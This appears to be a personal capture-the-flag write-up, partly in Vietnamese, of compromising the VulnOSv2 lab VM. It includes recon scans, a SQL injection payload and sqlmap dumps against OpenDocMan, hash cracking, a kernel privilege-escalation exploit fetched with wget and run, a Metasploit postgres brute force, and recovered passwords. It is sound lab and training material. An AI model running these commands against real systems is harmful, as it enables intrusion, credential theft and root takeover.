VulnOSv2

Thursday, August 4, 2022

9:13 PM

sudo netdiscover -r 192.168.1.0/24

Currently scanning: Finished! | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_

IP At MAC Address Count Len MAC Vendor / Hostname

-----------------------------------------------------------------------------

192.168.1.1 52:54:00:12:35:00 1 60 Unknown vendor

192.168.1.2 52:54:00:12:35:00 1 60 Unknown vendor

192.168.1.3 08:00:27:98:be:d4 1 60 PCS Systemtechnik GmbH

192.168.1.13 08:00:27:57:4f:aa 1 60 PCS Systemtechnik GmbH

map -A -T4 -sV -v -p- 192.168.1.13

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)

| 2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)

| 256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)

|\_ 256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))

| http-methods:

|\_ Supported Methods: GET HEAD POST OPTIONS

|\_http-title: VulnOSv2

|\_http-server-header: Apache/2.4.7 (Ubuntu)

6667/tcp open irc ngircd

Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux\_kernel

gobuster dir -u <http://192.168.1.13/> -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

===============================================================

Gobuster v3.1.0

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

===============================================================

[+] Url: <http://192.168.1.13/>

[+] Method: GET

[+] Threads: 10

[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

[+] Negative Status codes: 404

[+] User Agent: gobuster/3.1.0

[+] Timeout: 10s

===============================================================

2022/08/03 22:40:28 Starting gobuster in directory enumeration mode

===============================================================

/javascript (Status: 301) [Size: 316] [--> <http://192.168.1.13/javascript/>]

/server-status (Status: 403) [Size: 292]

===============================================================

2022/08/03 22:41:40 Finished

===============================================================

gg khai thác opendocman, sau đó dùng searchsploit để tìm cách khai thác

cat /usr/share/exploitdb/exploits/php/webapps/32075.txt

dán payload vào browser:

<http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,v>

ersion%28%29,3,4,5,6,7,8,9

thành:

<http://192.168.1.13/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9>

Dùng sqlmap để khai thác

sqlmap -u "<http://192.168.1.13/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user>" -p add\_value --dbs

-p: parameter

add\_value: paramater mẫu để test

[22:56:02] [INFO] fetching database names

available databases [6]:

[\*] drupal7

[\*] information\_schema

[\*] jabcd0cs

[\*] mysql

[\*] performance\_schema

[\*] phpmyadmin

dump db:

sqlmap -u "<http://192.168.1.13/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user>" -p add\_value -D jabcd0cs --dump

có thể sử dụng các option:

sqlmap -u "<http://192.168.1.13/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user>" -p add\_value –threads=4 –columns -T odm\_user -D jabcd0cs

sqlmap -u “<http://192.168.1.13/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user>” -p add\_value –threads=4 –dump -T odm\_user -D jabcd0cs

sqlmap -u “<http://192.168.1.13/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user>” –threads=4 -D jabcd0cs -T odm\_user -C id,username,password –dump

Database: jabcd0cs

Table: odm\_user

[2 entries]

+----+--------------------+-------------+----------------------------------+----------+-----------+------------+------------+---------------+

| id | Email | phone | password | username | last\_name | department | first\_name | pw\_reset\_code |

+----+--------------------+-------------+----------------------------------+----------+-----------+------------+------------+---------------+

| 1 | webmin@example.com | 5555551212 | b78aae356709f8c31118ea613980954b | webmin | min | 2 | web | <blank> |

| 2 | guest@example.com | 555 5555555 | 084e0343a0486ff05530df6c705c8bb4 | guest | guest | 2 | guest | NULL |

+----+--------------------+-------------+----------------------------------+----------+-----------+------------+------------+---------------+

dùng hash-identifider để xác định loại encrypt

decrypt password:

<https://www.md5online.org/md5-decrypt.html>

webmin1980

(hash = b78aae356709f8c31118ea613980954b)

$ uname -a

Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux

$ searchsploit ubuntu 3.13.0 | cut -b 1-150

$ wget <http://192.168.1.6/37292.c>

--2022-08-04 08:27:16-- <http://192.168.1.6/37292.c>

Connecting to 192.168.1.6:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 4968 (4.9K) [text/x-csrc]

Saving to: ‘37292.c’

100%[==========================================================================>] 4,968 --.-K/s in 0.001s

2022-08-04 08:27:16 (4.85 MB/s) - ‘37292.c’ saved [4968/4968]

$ ls

37292.c post.tar.gz

$ gcc 37292.c

$ ls

37292.c a.out post.tar.gz

$ a.out

-sh: 9: a.out: not found

$ ./a.out

spawning threads

mount #1

mount #2

child threads done

/etc/ld.so.preload created

creating shared library

# whoami

root

Chiếm quyền user khác khi chưa có root

root@VulnOSv2:/home/webmin# tar xzvf post.tar.gz

root@VulnOSv2:/home/webmin# netstat -tulpn

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 127.0.0.1:3306 0.0.0.0:\* LISTEN 1029/mysqld

tcp 0 0 0.0.0.0:6667 0.0.0.0:\* LISTEN 1151/ngircd

tcp 0 0 0.0.0.0:22 0.0.0.0:\* LISTEN 968/sshd

tcp 0 0 127.0.0.1:5432 0.0.0.0:\* LISTEN 1051/postgres

tcp6 0 0 :::6667 :::\* LISTEN 1151/ngircd

tcp6 0 0 :::80 :::\* LISTEN 1239/apache2

tcp6 0 0 :::22 :::\* LISTEN 968/sshd

tcp6 0 0 ::1:5432 :::\* LISTEN 1051/postgres

udp 0 0 0.0.0.0:68 0.0.0.0:\* 765/dhclient

udp 0 0 0.0.0.0:50169 0.0.0.0:\* 765/dhclient

udp6 0 0 :::1818 :::\* 765/dhclient

Port forwarding postgres

ssh webmin@192.168.1.13 -L 5432:localhost:5432

bruteforce

msfconsole -q

msf6 > use auxiliary/scanner/postgres/postgres\_login

msf6 auxiliary(scanner/postgres/postgres\_login) > set RHOSTS 127.0.0.1

RHOSTS => 127.0.0.1

msf6 auxiliary(scanner/postgres/postgres\_login) > run

[!] No active DB -- Credential data will not be saved!

[-] 127.0.0.1:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)

[+] 127.0.0.1:5432 - Login Successful: postgres:postgres@template1

[-] 127.0.0.1:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)

[-] 127.0.0.1:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)

[\*] Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

msf6 auxiliary(scanner/postgres/postgres\_login) >

dump db

$ PGPASSWORD="postgres" pg\_dumpall -U postgres -h localhost -p 5432

vulnosadmin c4nuh4ckm3tw1c3

thử đăng nhập ssh vào tài khoản mới

vulnosadmin@VulnOSv2:~$ ls

r00t.blend

vulnosadmin@VulnOSv2:~$ pwd

/home/vulnosadmin

copy file về máy

sudo scp vulnosadmin@192.168.1.13:/home/vulnosadmin/r00t.blend /

cài blender để mở file

apt-get install blender

Ta có mật khẩu root:

ab12fg//drg